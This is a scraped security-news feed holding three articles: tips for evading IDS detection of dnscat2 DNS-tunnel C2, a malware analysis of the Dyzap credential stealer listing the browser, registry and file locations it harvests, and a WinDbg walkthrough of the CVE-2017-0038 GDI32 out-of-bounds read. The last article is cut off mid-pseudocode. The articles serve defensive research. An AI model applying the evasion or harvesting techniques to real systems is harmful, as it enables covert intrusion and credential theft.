躲避探测

探测DNS隧道的方法有很多。如检查出站DNS查询的长度、监控来自特殊主机的DNS查询频率、检查是否包含那些不常用的查询类型等等。

通过使用“Start-Dnscat2”的“-Delay”和“-MaxRandomDelay”参数,在客户端发送数据包时,设置一个固定的或随机的延时,可有效躲避一些探测。同时,在正常通信时,该延时长短还可以通过“delay <milliseconds>”命令进行修改。

这有助于防止某些系统使用基于频率的分析探测方法。同时,对DNS查询请求设置一个数据传输的最大长度,这对DNS隧道本身是有好处的。如果你想更隐蔽,你可以通过“-MaxPacketSize”参数将最大请求长度设置短一些。

很多DNS隧道使用了TXT、CNAME、或MX查询类型,这是由于处理这些查询的响应过程相对简单,及它们具有比较长的响应数据长度。但是这些不是最常见的查询类型,因此,当这些查询很频繁时,一些IDS可能会发起报警。A和AAAA查询是最常见的,因此,使用这两类查询通常能逃避IDS检测。“Start-Dnscat2”的“-LookupTypes ”参数可用于向客户端传递一个有效的查询类型列表,客户端将从这个列表中随机选择一种类型,并以这种类型发送数据。

下在的视频显示的是这三个选项的组合,及选项的修改对数据传输速度的影响:


结论

使用DNS建立数据传输隧道具有一些实际的好处。最大的好处是,它可以在出站流量限制很严的情况下给攻击者提供一个SHELL控制环境,不过,它的缺点就是数据传输速度可能会比较慢。现在,我们有了PowerShell版的dnscat2客户端,渗透测试人员可以容易的使用基于DNS的C2服务,及熟悉的PowerShell工具。


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)
【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)
本文转载自 blackhillsinfosec.com
原文链接:http://www.blackhillsinfosec.com/?p=5578

【木马分析】避开Dyzap恶意软件以确保您的帐户安全

$
0
0
【木马分析】避开Dyzap恶意软件以确保您的帐户安全

2017-03-22 15:02:20
来源:fortinet.com 作者:啦咔呢

阅读:529次
点赞(0)
收藏





【木马分析】避开Dyzap恶意软件以确保您的帐户安全

翻译:啦咔呢

稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


介绍

Dyzap属于一种恶意软件,被设计来从大型目标应用程序窃取保密信息,方式是在普通浏览器安装“man in the browser”。FortiGuard研究人员最近发现了该木马病毒的一种新变体。窃取的信息可能包括但不限于在被感染系统上存储的系统信息和应用凭证。在本博客中,我们将解释恶意软是件如何窃取用户帐户,充当键盘记录器,并与其C&C服务器进行通信。


窃取流程

Dyzap的目标是从超过一百个的应用程序中窃取信息,其中包括浏览器,FTP应用程序等。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图1:主要窃取流程

为了从不同类型的应用程序窃取数据,Dyzap通过不同的方式处理它们。这使得它可以从数据库,注册表中,或者从受感染机器上应用程序安装的文件中窃取数据。图2显示了一些目标应用程序,如Fossamail,Postbox和其他。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图2:恶意软件试图窃取的应用程序的一部分

为了更好地理解Dyzap能够采用的不同方式,我们选择了四个应用程序,并分析了Dyzap如何从它们那里获得登录凭据。以下所有分析均在windows 7 32位下进行。在其他操作系统中引用的路径可能不同。


Chrome家族

Dyzap的主要例程之一是从sqlite3数据库文件中窃取登录信息。例如,Chromium将登录信息存储在名为“Login Data”或“Web Data”的文件中。使用图3所示的代码片段和硬编码文件路径,它可以尽可能搜索刚才提到的目录中所包含的文件。如果文件存在,它将内容复制到临时文件中以供进一步操作。

要获取登录信息,它首先要验证目标是SQlite3文件。接下来,它查找一个“独特的”字符串模式以从“登录”表中提取登录信息。最后,它使用字符串模式“password_value”,“username_value”和“original_url”提取用户帐户,如图4所示。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图3:Dyzap在硬编码目录中查找文件


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图4:Dyzap通过硬编码字符串查找登录信息

Chrome家族中的其他浏览器重复了类似的窃取例程,这些浏览器包括: Comodo Dragon,MapleStudio,Chrome,Nichrome,RockMelt,Spark,Chromium,Titan浏览器,Torche,Yandex,Epic隐私浏览器,CocCoc浏览器,Vivaldi,Comodo Chromodo,Superbird ,Coowon,Mustang浏览器,360浏览器,CatalinaGroup Citrio,Chrome SxS,Orbitum,Iridium和Opera。


Firefox家族

对于Firefox家族的浏览器,Dyzap搜索signons.sqlite和login.json文件来查找和窃取凭据。login.json的名称带着误导性,它实际上是一个sqlite数据库,包括所有保存的用户名和密码。这些浏览器包括Firefox,IceDragon,Safari,K-Melon,SeaMonkey,Flok,Thunderbird,BlackHawk,Postbox,Cyberfox和Pale Moon。


Far FTP

除了从数据库文件窃取之外,Dyzap恶意软件还尝试从注册表中收集一些FTP应用程序的私密信息。例如,在Far FTP中,恶意软件简单地搜索以下路径,如图5所示:

HKCU\Software\Far\Plugins\FTP\Hosts HKCU\Software\Far2\Plugins\FTP\Hosts
【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图5:从Far2注册表窃取

如果找到它们,Dyzap查询“Password”,“User”和“HostName”子项的值。以下表1是通过注册表寻找到的目标应用程序列表。然后恶意软件硬编码每个应用程序的注册表路径(可能包含私密信息)。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

表1:恶意软件尝试从其注册表窃取的应用程序


Pidgin

Dyzap的另一个功能是从存储在受感染机器上的登录凭据文件中窃取机密信息。例如,Pidgin是一个聊天程序,它允许用户同时在多个聊天网络上登录帐户。此应用程序在"%AppData%\Roaming\.purple\accounts.xml."中的一个XML文件中保存账户登录的信息。Dyzap试图在可能的目录中通过搜索来找到* .xml文件(图6),然后将文件的副本发送到它的C&C服务器上。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图6:找到目标文件的可能目录

下表显示恶意软件在搜索机密信息时搜索到的所有应用程序和相关文件。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

【木马分析】避开Dyzap恶意软件以确保您的帐户安全

表2:恶意软件尝试从其组件文件中窃取的应用程序列表


键盘记录功能

在其键盘记录器组件中,恶意软件创建一个新线程以捕获所有键盘输入,剪贴板数据和窗口标题,如图8所示。所有被盗信息都保存到恶意软件在临时目录创建的%RANDOM-NUMBER%.Kdb文件中。为了hook到键盘,恶意软件调用SetWindowsHookExW()来捕获键盘输入。键盘记录器的结果也将与其他被盗信息一起上传到C&C服务器。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图8:键盘挂钩线程


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图9:监视低级别键盘输入事件的挂钩过程


C&C通信

在从目标应用收集数据之后,将进行被盗信息的封包。数据以串行化的二进制格式发送到C&C服务器。封包结构包含三个主要子结构,每个结构填充如表3所示的信息块:


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

表3:信息块的基本结构

封包信息从硬编码标签开始。位于块1中的所有标签在图10中标示为B1。例如,数据包中的0x12和0x27显示为\ x12 \ x00 \ x27 \ x00。随后,将硬编码字符串“PWSBin”附加到块2格式的标签(表4中的第1节)。在图10中,该部分显示为Tag1,Tag2,Type, Size和 Data。

该封包接着包含来自受感染机器所有收集的信息,分别包括用户名,计算机名称,域名以块2格式保存(窗体坐标在左上,右下)。接下来,它检查当前用户是否为admin,是否开启了用户安全标识,以及受感染的计算机是32位还是64位。然后它包含Windows主版本,次版本和产品类型,以及一个预初始化字节,四个标签在行(\ x01,\ x00,\ x00,\ x00 \)中以块1的格式附加到数据包。

接着数据包以四个字节大小标示被盗数据—被恶意软件加密(A *)。互斥字符串类型,大小和数据,以及恶意软件使用系统时间创建的5字节随机字符串,以块2格式被添加(B *)。最后,被盗的加密数据及其大小以块3格式被添加(C *,D *)。有趣的是,每个被窃取的数据部分开头是一个字节,其表示一个索引列表的索引,指示了相应应用的数据位置。


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

图10:HTTP请求内容发送到服务器


【木马分析】避开Dyzap恶意软件以确保您的帐户安全

表4:命令和控制流量摘要


结论

Dyzap是一个多任务恶意软件,不限于用一种方式窃取信息。已安装应用程序的本地文件及其注册表都不安全。但Dyzap不仅从应用程序收集数据。它也很好奇并且还可以收集您的键盘输入。当前版本现在功能强大,可以从许多应用程序中窃取信息。在本博客中,我们展示了如何进行数据窃取,以及恶意软件将所有收集的数据发送到C&C服务器之前将其转换为合适的二进制格式的过程。


示例信息

MD5:eaa07a6113b142e26c83132716d1ab42

SHA256:9740f47b42b04c80d9d8983725c69920581a632df74d96434b6747a53bbd5048

Fortinet检测名称:W32/Generic.RCI!tr


【木马分析】避开Dyzap恶意软件以确保您的帐户安全
【木马分析】避开Dyzap恶意软件以确保您的帐户安全
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/02/22/keep-your-account-safe-by-avoiding-dyzap-malware

【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

$
0
0
【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

2017-03-23 10:11:44
来源:安全客 作者:k0shl

阅读:386次
点赞(0)
收藏





【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

作者:k0shl

稿费:600RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

前段时间我在博客发了一篇关于CVE-2017-0037 Type Confusion的文章,其中完成了在关闭DEP情况下的Exploit,当时提到做这个漏洞的时候,感觉由于利用面的限制,导致似乎无法绕过ASLR,也就是DEP也不好绕过。当时完成那篇文章后,我恰巧看到了Google Project Zero公开的另一个漏洞CVE-2017-0038,这是一个EMF文件格式导致的Out-of-bound read,众所周知,在漏洞利用中,越界读这种漏洞类型很容易能够造成信息泄露。

换句话说,当时我考虑也许可以通过这个EMF的Out-of-bound Read造成信息泄露,然后获取某个内存基址,从而在CVE-2017-0037漏洞利用中构造ROP链来完成最后的利用(但事实证明好像还是不行2333)。

关于这个漏洞曝光之后,有人利用0patch对这个漏洞进行了修补。

PJ0关于CVE-2017-0038漏洞说明地址(含PoC EMF):

https://bugs.chromium.org/p/project-zero/issues/detail?id=992

0patch修补CVE-2017-0038原文地址:

https://0patch.blogspot.jp/2017/02/0patching-0-day-windows-gdi32dll-memory.html

安全客翻译地址:

http://bobao.360.cn/learning/detail/3578.html

在这篇文章中,我将首先对CVE-2017-0038这个GDI32.dll的Out-of-bound Read漏洞进行分析;随后,我将首先将分享用JS编写一个浏览器可用的Exploit,随后我将和大家一起来看一下这么做的一个限制(为什么无法用浏览器进行Info leak),也是在0patch文章中提到的0xFF3333FF到底是怎么回事;然后,我将和大家分享用C语言完成Exploit,一起来看看真正泄露的内存内容;最后我将把JS和C的Exploit放在github上和大家分享。

调试环境是:

Windows10x86_64build10240 IE11 GDI32.dllVersion10.0.10240.16384
【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

请大家多多交流,感谢阅读!


CVE-2017-0038 PoC与漏洞分析

如我在第一章分享的测试环境的图片,同样在0patch的文章中也能看到,在浏览器每次加载poc.emf的时候,都会产生不同的图片,这张图片只有左下角的一个小红点是固定不变的,其实除了左下角四个字节,其他的内容都是泄露的内存,这点在后面的分析中我们可以获得。

那么现在我们需要解决的一个问题就是如何加载这个图片,这样我们需要用JS的画布功能来完成对PoC的构造,并且成功加载PoC.emf。

首先,我们定义一个canvas画布,之后通过js的getElementById来获得画布对象,之后我们通过Image()函数来初始化image对象,加载poc.emf,最后,我们通过drawImage来读取poc.emf,将poc.emf打印在画布上。drawImage后两个参数是image在canvas画布上的坐标,这里我们设置为0,0。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

完成构造后,我们稍微修改一下poc.emf的文件结构,然后打开IE11浏览器,通过Windbg附加进程,并且在gdi32!MRSETDIBITSTODEVICE::bPlay函数位置下断点,这个过程会在poc.emf映射在画布上时发生,允许js执行之后,Windbg命中函数入口。

0:022>xgdi32!MRSETDIBITSTODEVICE::bPlay 00007ff8`2a378730GDI32!MRSETDIBITSTODEVICE::bPlay=<notypeinformation> 0:022>bpgdi32!MRSETDIBITSTODEVICE::bPlay Breakpoint0hit GDI32!MRSETDIBITSTODEVICE::bPlay: 00007ff8`2a37873048895c2408movqwordptr[rsp+8],rbxss:00000034`93cef6f0={GDI32!MRMETAFILE::bPlay(00007ff8`2a320950)} 0:027>kb RetAddr:ArgstoChild:CallSite 00007ff8`2a2ff592:00007ff8`2a32095000007ff8`2a2f8ed100000000`00000008ffffffff`8f010c40:GDI32!MRSETDIBITSTODEVICE::bPlay//到达目标断点 00007ff8`2a2ff0a8:0000002c`8f00be8c00000000`0000000000000000`0000000000000000`00000000:GDI32!PlayEnhMetaFileRecord+0xa2 00007ff8`2a327106:00000034`92acee0000007ff8`2a2ff8f300000034`9038068000000034`93cef988:GDI32!bInternalPlayEMF+0x858 00007ff8`08650a70:00007ff8`0806101000007ff8`0806101000000034`93cefa1000000000`000000ff:GDI32!PlayEnhMetaFile+0x26//关键函数调用PlayEnhMetaFile

现在我们开始单步跟踪这个关键函数的执行流程,之后我放出整个函数的伪代码,相应的注释,我已经写在//后面,首先单步执行,会到达一处参数赋值,在64位系统中,参数是靠寄存器传递的。

0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x1b: 00007ff8`2a37874b488bd9movrbx,rcx 0:027>rrcx rcx=0000002c8f00be8c 0:027>dtvaultcli!EMRSETDIBITSTODEVICE0000002c8f00be8c +0x000emr:tagEMR +0x008rclBounds:_RECTL +0x018xDest:0n0 +0x01cyDest:0n0 +0x020xSrc:0n0 +0x024ySrc:0n0 +0x028cxSrc:0n1 +0x02ccySrc:0n1 +0x030offBmiSrc:0x4c +0x034cbBmiSrc:0x28 +0x038offBitsSrc:0x74 +0x03ccbBitsSrc:4 +0x040iUsageSrc:0 +0x044iStartScan:0 +0x048cScans:0x10

这里rcx传递的指针是MRSETDIBITSTODEVICE::bplay的第一个参数,这个参数是一个非常非常非常重要的结构体EMRSETDIBITSTODEVICE,正是对这个结构体中几个成员变量的控制没有进行严格的判断,从而导致了越界读漏洞的发生。

首先我们来看一下EMF文件格式。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

这里,我对poc.emf进行了修改,修改了cxSrc和cySrc的值,这样在最后向HDC拷贝图像的时候,就不会读取多余的内存信息,这个结构体的变量我们要记录,因为接下来在跟踪函数内部逻辑的时候,会涉及到很多关于这个结构体成员变量的偏移,关于这个结构体变量的解释,可以参照MSDN。

https://msdn.microsoft.com/en-us/library/windows/desktop/dd162580(v=vs.85).aspx

接下来我们继续单步跟踪,首先函数会命中一个叫做pvClientObjGet的函数,这个函数会根据Handle获取EMF头部section的一个标识并对标识进行判断。

0:027>p GDI32!pvClientObjGet+0x2a: 00007ff8`2a301d5a488d0daf141400learcx,[GDI32!aplHash(00007ff8`2a443210)] 0:027>p GDI32!pvClientObjGet+0x31: 00007ff8`2a301d6183e07fandeax,7Fh 0:027>p GDI32!pvClientObjGet+0x34: 00007ff8`2a301d6448833cc100cmpqwordptr[rcx+rax*8],0ds:00007ff8`2a443218=0000003492a60080//获取特殊handleobject 0:027>p GDI32!pvClientObjGet+0x39: 00007ff8`2a301d69488d3cc1leardi,[rcx+rax*8] 0:027>p GDI32!pvClientObjGet+0x70://获得当前EMF头部section标识ENHMETA_SIGNATURE 00007ff8`2a301da0488b4718movrax,qwordptr[rdi+18h]ds:00000034`92a60098=0000003492ac5280 0:026>rrax rax=00000296033d3d30 0:026>dc296033d3d30l1 00000296`033d3d300000464dMF..

可以看到,最后函数会读取一个名为MF的标识,这个标识就是EMF文件的头部。这里会识别的就是ENHMETA_SIGNATURE结构。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

返回之后继续单步跟踪,接下来会命中bCheckRecord函数,这个函数主要负责的就是检查EMRSETDIBITSTODEVICE中成员变量的一些信息是否符合要求。

0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x3f: 00007ff8`2a37876f498bd6movrdx,r14 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x42: 00007ff8`2a378772488bcbmovrcx,rbx 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x45: 00007ff8`2a378775e8a6dbffffcallGDI32!MRSETDIBITSTODEVICE::bCheckRecord(00007ff8`2a376320) 0:027>rrcx rcx=0000002c8f00be8c//检查vaultcli!EMRSETDIBITSTODEVICE结构

可以看到,EMRSETDIBITSTODEVICE结构保存在rcx中,会作为第一个参数传入函数,接下来跟入函数中。

0:027>p//接下来检查tagEMR的nSize GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x6: 00007ff8`2a376326448b4104movr8d,dwordptr[rcx+4]ds:0000002c`8f00be90=00000078 0:027>dttagEMR0000002c8f00be8c vaultcli!tagEMR +0x000iType:0x50 +0x004nSize:0x78 0:026>p gdi32full!MRSETDIBITSTODEVICE::bCheckRecord+0x2a: 00007ffd`cf88a56a39442430cmpdwordptr[rsp+30h],eaxss:000000bb`06b9f650=00000078 0:027>p//与0x78比较检查nSize GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x6: 00007ff8`2a376326448b4104movr8d,dwordptr[rcx+4]ds:0000002c`8f00be90=00000078 …… 0:027>p GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x16://获得vaultcli!EMRSETDIBITSTODEVICE的cbBmiSrc成员变量值 00007ff8`2a3763368b4934movecx,dwordptr[rcx+34h]ds:0000002c`8f00bec0=00000028 0:027>p GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x19: 00007ff8`2a376339bab0ffffffmovedx,0FFFFFFB0h 0:027>p GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x1e://与0x0FFFFFFB0作比较,检查cbBmiSrc的上限 00007ff8`2a37633e3bcacmpecx,edx 0:027>p GDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x20: 00007ff8`2a3763407343jaeGDI32!MRSETDIBITSTODEVICE::bCheckRecord+0x65(00007ff8`2a376385)[br=0]

因为代码片段较长,这里我列举了一些片段,主要就是对结构体中的一些成员变量进行检查,比如头部的tagEMR,会检查tagEMR中的nSize,后续还会检查cbBmiSrc(BitmapInfo大小)等等。

随后继续单步跟踪,会到达bClipped这个函数,这个函数的主要功能就是对EMRSETDIBITSTODEVICE结构体偏移0x8位置的成员,也就是_RECTL进行检查,_RECTL主要是负责这个图像的上下左右边界。

0:026>p//传递rbx+8地址值,是个_RECTL对象 gdi32full!MRSETDIBITSTODEVICE::bPlay+0x4e: 00007ffd`cf88dfae488d5308leardx,[rbx+8] 0:026>p gdi32full!MRSETDIBITSTODEVICE::bPlay+0x52: 00007ffd`cf88dfb2488bcdmovrcx,rbp 0:026>p gdi32full!MRSETDIBITSTODEVICE::bPlay+0x55: 00007ffd`cf88dfb5e822caffffcallgdi32full!MF::bClipped(00007ffd`cf88a9dc) 0:026>rrdx rdx=0000029606a4a0e4 0:026>dt_RECTL0000029606a4a0e4 vaultcli!_RECTL +0x000left:0n0 +0x004top:0n0 +0x008right:0n15 +0x00cbottom:0n15 0:027>rrcx rcx=0000003492ac5280 0:027>dt_RECTL0000003492ac5280+8c//这里偏移+8c是由于pvClientObjGet获取的对象偏移+8c存放的是比较值,具体在函数里体现 vaultcli!_RECTL +0x000left:0n-1 +0x004top:0n-1 +0x008right:0n17 +0x00cbottom:0n17

在rcx寄存器,也就是第一个参数中存放的是上下左右的界限,而第二个参数则是我们当前图像的RECTL,我们来看一下bClipped检查的伪代码。

__int64__fastcallMF::bClipped(MF*this,structERECTL*a2)//this指针是pvClientObjGet对象,a2是RECTL对象,这两个对象对应偏移之间会有一个检查,检查当前RECTL对象是否在符合条件的范围内 { v2=ERECTL::bEmpty(a2);//先判断要判断的地址非空 v5=0; if(v2) { result=0i64; } else { if(*(_DWORD*)(v4+140)>*(_DWORD*)(v3+8)//检查上下左右是否符合要求 ||*(_DWORD*)(v4+148)<*(_DWORD*)v3 ||*(_DWORD*)(v4+144)>*(_DWORD*)(v3+12) ||*(_DWORD*)(v4+152)<*(_DWORD*)(v3+4)) { v5=1; } result=(unsignedint)v5; } returnresult; }

在函数中当RECTL对象不为空时,会和标准对象的上下左右进行比较,看是否超出界限大小(在else语句逻辑中),随后如果满足在标准大小范围内,返回为1,程序会继续执行。

接下来程序会分别进入三个函数逻辑,这三个函数逻辑和HDC相关。详细请参照我的注释。

0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x68://获取xDest,x轴值 00007ff8`2a3787988b4318moveax,dwordptr[rbx+18h]ds:0000002c`8f00bea4=00000000 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x6b: 00007ff8`2a37879b488d9424a0000000leardx,[rsp+0A0h] 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x73: 00007ff8`2a3787a3898424a0000000movdwordptr[rsp+0A0h],eaxss:00000034`93cef700=00000008 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x7a: 00007ff8`2a3787aa41b801000000movr8d,1 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x80://获取yDest,y轴值 00007ff8`2a3787b08b431cmoveax,dwordptr[rbx+1Ch]ds:0000002c`8f00bea8=00000000 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x83: 00007ff8`2a3787b3898424a4000000movdwordptr[rsp+0A4h],eaxss:00000034`93cef704=00000000 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x8a://获取hdc 00007ff8`2a3787ba488b8dd8020000movrcx,qwordptr[rbp+2D8h]ss:00000034`92ac5558=ffffffffe90107a2 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x91://LPtoDP把x、y坐标发给hdc 00007ff8`2a3787c1e8ba87faffcallGDI32!LPtoDP(00007ff8`2a320f80) …… 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x9a://SetWorldTransform函数为指定的设备上下文在全局空间和页空间之间设置一个二维线性变换。此变换可用于缩放,旋转,剪切或转换图形输出。 00007ff8`2a3787ca488d95c0020000leardx,[rbp+2C0h] 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xa1: 00007ff8`2a3787d141b804000000movr8d,4 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xa7: 00007ff8`2a3787d7498bcfmovrcx,r15 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xaa: 00007ff8`2a3787dae8815cf8ffcallGDI32!ModifyWorldTransform(00007ff8`2a2fe460) 0:027>rrdx rdx=0000003492ac5540 0:027>dtXFORM0000003492ac5540//线形变换参数 vaultcli!XFORM +0x000eM11:0.9870000482 +0x004eM12:0 +0x008eM21:0 +0x00ceM22:0.9893333316 +0x010eDx:0 +0x014eDy:0 …… 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xb3://获取cbBmiSrc成员值,负责BITMAP的大小 00007ff8`2a3787e3448b4b34movr9d,dwordptr[rbx+34h]ds:0000002c`8f00bec0=00000028 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xb7: 00007ff8`2a3787e7498bd6movrdx,r14 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xba://获得offBmiSrc成员变量值,负责BITMAP的偏移 00007ff8`2a3787ea448b4330movr8d,dwordptr[rbx+30h]ds:0000002c`8f00bebc=0000004c 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xbe: 00007ff8`2a3787ee488bcbmovrcx,rbx 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xc1://主要就是ChecktagBITMAPINFO 00007ff8`2a3787f1e852d6faffcallGDI32!MR::bValidOffExt(00007ff8`2a325e48) 0:027>rrdx rdx=0000002c8f00be8c 0:027>dttagBITMAPINFO2c8f00be8c+4c vaultcli!tagBITMAPINFO +0x000bmiHeader:tagBITMAPINFOHEADER +0x028bmiColors:[1]tagRGBQUAD 0:027>dttagBITMAPINFOHEADER2c8f00be8c+4c vaultcli!tagBITMAPINFOHEADER +0x000biSize:0x28 +0x004biWidth:0n16 +0x008biHeight:0n16 +0x00cbiPlanes:1 +0x00ebiBitCount:0x18 +0x010biCompression:0 +0x014biSizeImage:4 +0x018biXPelsPerMeter:0n0 +0x01cbiYPelsPerMeter:0n0 +0x020biClrUsed:0 +0x024biClrImportant:0

如注释内容,这三个函数会分别对坐标,线性变换的参数,以及EMRSETDIBITSTODEVICE结构体的BITMAPINFO成员变量进行获取赋值和检查。这些赋值和检查如果成功,都会返回非0值,这样才能继续下面的逻辑,接下来,bPlay函数会为BITMAPINFO开辟地址空间。

0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xce: 00007ff8`2a3787feb8f8040000moveax,4F8h 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xd3://获得LocalAlloc的第一个参数nType 00007ff8`2a378803b940000000movecx,40h 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xd8://判断cbBmiSrc和4f8的大小 00007ff8`2a378808394334cmpdwordptr[rbx+34h],eaxds:0000002c`8f00bec0=00000028 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xdb://如果大于则将cbBmiSrc的大小作为开辟的空间大小,否则就开辟4f8 00007ff8`2a37880b0f474334cmovaeax,dwordptr[rbx+34h]ds:0000002c`8f00bec0=00000028 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xdf://获得要开辟空间的大小 00007ff8`2a37880f8bd0movedx,eax 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xe1://开辟4f8的bitmapinfo空间 00007ff8`2a378811ff15d9190300callqwordptr[GDI32!_imp_LocalAlloc(00007ff8`2a3aa1f0)]ds:00007ff8`2a3aa1f0={KERNELBASE!LocalAlloc(00007ff8`2810fe40)} 0:027>redx edx=4f8 0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0xe7: 00007ff8`2a378817488bf0movrsi,rax 0:027>rrax rax=0000003492a637b0//开辟出4f8的空间,并且获取堆指针 0:027>dd3492a637b0l5 00000034`92a637b000000000000000000000000000000000 00000034`92a637c000000000

在函数中,会对开辟的空间进行一个判断,如果BITMAPINFO的size大于4f8,则开辟BITMAPINFO size大小空间,如果小于的话,则直接开辟4f8空间,开辟后,会将当前EMRSETDIBITSTODEVICE结构体的BITMAPINFO拷贝进去,在EMRSETDIBITSTODEVICE结构体中offBmiSrc是BITMAPINFO距离EMRSETDIBITSTODEVICE结构体的偏移,而cbBmiSrc则是BITMAPINFO的大小。

根据我们当前的情况,偏移是0x4c,大小是0x28,随后会执行memcpy拷贝BITMAPINFO。

0:027>p GDI32!MRSETDIBITSTODEVICE::bPlay+0x100://拷贝bitmapinfo 00007ff8`2a378830e8d34cfbffcallGDI32!memcpy(00007ff8`2a32d508) 0:027>rr8 r8=0000000000000028 0:027>rrdx rdx=0000002c8f00bed8 0:027>dd2c8f00bed8 0000002c`8f00bed800000028000000100000001000180001 0000002c`8f00bee800000000000000040000000000000000 0000002c`8f00bef8000000000000000000ed1c240000000e

可以看到,拷贝的内容正是我们EMF文件中对应BITMAPINFO区域的内容,这里要注意,其实这里拷贝的只是BITMAP的信息,而并不是我们真正图像的内容,因此这里还不是造成内存泄露的原因。

接下来会进行一系列的变量判断,这些变量判断我将在下面的伪代码的注释中给大家讲解,但是这一系列的判断并没有判断引发这个漏洞最关键的部分,随后我们会看到一处关键函数调用。

LOBYTE(v6)=StretchDIBits( v3, pt.x, pt.y, *((_DWORD*)v4+10),// *((_DWORD*)v4+11), *((_DWORD*)v4+8), *((_DWORD*)v4+9)-*((_DWORD*)v4+17), *((_DWORD*)v4+10),//宽和高,0x10 *((_DWORD*)v4+11), v15,//thisisimportantpointer,指向要拷贝的bitmap指针 v11, *((_DWORD*)v4+16), 0xCC0020u)!=0;

这个函数调用,会拷贝当前的图像像素到目标的设备(画布)中,而这个过程拷贝的内容就是v15,这个v15变量是指向要拷贝内容的指针,而拷贝取决于之前我们定义的cxSrc和cySrc,拷贝的大小是cxSrc*cySrc*4,而当前v15的值是什么呢,这取决于EMRSETDIBITSTODEVICE结构体的offBitsSrc,这里就是当前结构体偏移+0x74的位置。

0:026>p gdi32full!MRSETDIBITSTODEVICE::bPlay+0x1a4: 00007ffd`cf88e104ff1596ee0300callqwordptr[gdi32full!_imp_StretchDIBits(00007ffd`cf8ccfa0)]ds:00007ffd`cf8ccfa0={GDI32!StretchDIBits(00007ffd`d1143370)} 0:026>dd29606a4a0dc+74 00000296`06a4a15000ed1c240000000e0000001400000000 00000296`06a4a160000000100000001418abea8b90018400

而本来图像的大小是取决于EMRSETDIBITSTODEVICE结构体的cbBitsSrc,大小只有0x4,也就是这里只有00ed1c24,但是在之前的一系列分析过程中,发现整个过程都没有进行判断,从而直接拷贝了cxSrc*cySrc*4大小的内容,也就是超过cbBitsSrc的大小,造成了内存泄露。

下面我贴出这个函数的伪代码,相关注释已经写在伪代码中。

__int64__fastcallMRSETDIBITSTODEVICE::bPlay(MRSETDIBITSTODEVICE*this,void*a2,structtagHANDLETABLE*a3) { HDCv3;//r15@1 MRSETDIBITSTODEVICE*v4;//rbx@1 structtagHANDLETABLE*v5;//r14@1 unsignedintv6;//edi@1 __int64v7;//rax@1 __int64v8;//rbp@1 signedintv10;//eax@9 BITMAPINFO*v11;//rax@11 constBITMAPINFO*v12;//rsi@11 signedintv13;//eax@12 intv14;//eax@14 unsigned__int32v15;//er9@16 char*v16;//r8@19 structtagPOINTpt;//[sp+A0h][bp+18h]@6 v3=(HDC)a2; v4=this; v5=a3; v6=0; LODWORD(v7)=pvClientObjGet(a3->objectHandle[0],4587520i64);//a3是头部,判断ENHMETA_SIGNATURE是不是EMF v8=v7; if(!v7||!(unsignedint)MRSETDIBITSTODEVICE::bCheckRecord(v4,v5))//满足v6是EMF,且bCheckRecord会对EMRSETDIBITSTODEVICE结构体成员变量的大小作检查(仅仅是对结构体各自成员变量大小,而没有检查bitmap整体size) return0i64; 